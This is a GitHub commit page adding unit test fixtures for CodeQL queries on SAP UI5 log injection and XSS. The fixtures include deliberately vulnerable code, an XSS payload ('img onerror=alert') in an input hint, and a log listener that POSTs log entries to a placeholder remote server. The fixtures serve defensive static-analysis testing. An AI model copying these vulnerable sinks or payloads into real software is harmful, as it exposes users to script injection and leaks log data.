Skip to content

Commit 80c57ed

Browse files
committed
Add unit test cases
1 parent 05e9a0b commit 80c57ed

35 files changed

Lines changed: 428 additions & 0 deletions

File tree

javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-getLogEntries/package-lock.json

Lines changed: 12 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
{
2+
"name": "sap-ui5-xss",
3+
"version": "1.0.0",
4+
"main": "index.js"
5+
}
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
specVersion: '3.0'
2+
metadata:
3+
name: sap-ui5-xss
4+
type: application
5+
framework:
6+
name: SAPUI5
7+
version: "1.115.0"
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
sap.ui.define(
2+
[
3+
"sap/ui/core/mvc/Controller",
4+
"sap/ui/model/json/JSONModel",
5+
],
6+
function (Controller, JSONModel) {
7+
"use strict";
8+
return Controller.extend("codeql-sap-js.controller.app", {
9+
onInit: function () {
10+
var oData = {
11+
input: null,
12+
output: null,
13+
};
14+
var oModel = new JSONModel(oData);
15+
this.getView().setModel(oModel);
16+
17+
var input = oModel.getProperty("/input");
18+
jQuery.sap.log.debug(input); //log-injection sink
19+
},
20+
});
21+
},
22+
);
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
<!DOCTYPE html>
2+
<html>
3+
4+
<head>
5+
6+
<meta charset="utf-8">
7+
<title>SAPUI5 XSS</title>
8+
<script src="https://sdk.openui5.org/resources/sap-ui-core.js"
9+
data-sap-ui-libs="sap.m"
10+
data-sap-ui-onInit="module:codeql-sap-js/index"
11+
data-sap-ui-resourceroots='{
12+
"codeql-sap-js": "./"
13+
}'>
14+
</script>
15+
</head>
16+
17+
<body class="sapUiBody" id="content">
18+
19+
</body>
20+
21+
</html>
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
sap.ui.define([
2+
"sap/ui/core/mvc/XMLView"
3+
], function (XMLView) {
4+
"use strict";
5+
XMLView.create({
6+
viewName: "codeql-sap-js.view.app"
7+
}).then(function (oView) {
8+
oView.placeAt("content");
9+
});
10+
11+
});
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
{
2+
"sap.app": {
3+
"id": "sap-ui5-xss"
4+
}
5+
}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
sap.ui.define(
2+
["sap/ui/base/Object", "sap/base/Log"],
3+
function (BaseObject, Log) {
4+
"use strict";
5+
return BaseObject.extend("codeql-sap-js.log.CustomLogListener", {
6+
constructor: function () {
7+
let message = Log.getLogEntries()[0].message;
8+
const http = new XMLHttpRequest();
9+
const url = "https://some.remote.server/location";
10+
http.open("POST", url);
11+
http.send(message); // js/ui5-log-injection-to-http
12+
},
13+
});
14+
},
15+
);
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<mvc:View controllerName="codeql-sap-js.controller.app"
2+
xmlns="sap.m"
3+
xmlns:core="sap.ui.core"
4+
xmlns:mvc="sap.ui.core.mvc">
5+
<Input placeholder="Enter Payload"
6+
description="Try: &lt;img src=x onerror=alert(&quot;XSS&quot;)&gt;"
7+
value="{/input}" /> <!--User input source sap.m.Input.value -->
8+
<core:HTML content="{/output}"/> <!--XSS sink sap.ui.core.HTML.content -->
9+
</mvc:View>

javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-log-listener-js-object/package-lock.json

Lines changed: 12 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)